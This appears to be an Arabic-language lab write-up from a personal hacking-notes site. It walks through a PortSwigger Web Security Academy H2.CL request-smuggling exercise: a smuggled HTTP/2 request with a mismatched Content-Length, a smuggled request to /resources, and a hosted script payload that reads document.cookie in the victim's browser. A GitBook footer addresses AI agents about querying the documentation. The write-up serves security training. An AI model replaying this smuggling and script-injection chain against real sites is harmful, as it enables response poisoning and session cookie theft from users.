> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/h2-cl-request-smuggling.md).

# تهريب الطلبات H2.CL

### تهريب طلبات H2.CL

هذا المختبر عرضة لـ **تهريب الطلبات** لأن الخادم الأمامي يخفّض **HTTP/2** الطلبات حتى عندما يكون لها طول غامض.

الهدف هو تنفيذ هجوم يسمح لمتصفح الضحية بتحميل وتشغيل **ملف JavaScript برمجي خبيث** مستضاف على خادم الاستغلال، ويحتوي على:

```javascript
alert(document.cookie)
```

يزور المستخدم الضحية الصفحة الرئيسية كل **10 ثوانٍ**.

#### **التبديل إلى 404 عبر التهريب**

يلزم وجود عدم اتساق في الطول للتسبب في **404 غير موجود**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **تحليل سلوك التطبيق**

تقوم الصفحة تلقائيًا بتحميل سكربت:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="/files/cc006506f2b176e28b80a9b57d9d72d107ddd361" alt=""><figcaption></figcaption></figure>

يقوم هذا السكربت بإنشاء معرّف عشوائي ويرسل استعلامًا إلى:

```javascript
/analytics?id=<random value>
```

<figure><img src="/files/f1a61f7b2cbefb8bddb75743f38071ae1107275f" alt=""><figcaption></figcaption></figure>

مقتطف من الدالة:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **ملاحظة المسارات المقبولة**

استعلام مهرب إلى:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="/files/220c2fe2034d4d6a5a8937b0b7a160b6d3ab4565" alt=""><figcaption></figcaption></figure>

مقبول.

من ناحية أخرى، المسارات الأخرى ليست كذلك.

<figure><img src="/files/803b6a04fc8fd5f8c690fa5c1577f90d8733c720" alt=""><figcaption></figcaption></figure>

#### **حقن سكربت خبيث**

نضع الحمولة الخاصة بنا في الملف المقدم من خادم الاستغلال:

* اسم الملف: **resources**
* محتوى النص:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/a349cb853f51204f6f354bc58d0b03eb53a0aa0e" alt=""><figcaption></figcaption></figure>

يُعاد توجيه الضحية إلى هذا الملف، وينفذ المتصفح التنبيه، مما يؤكد الاستغلال.

<figure><img src="/files/20feed5fe7b5057abd4805d6431b26522531a138" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
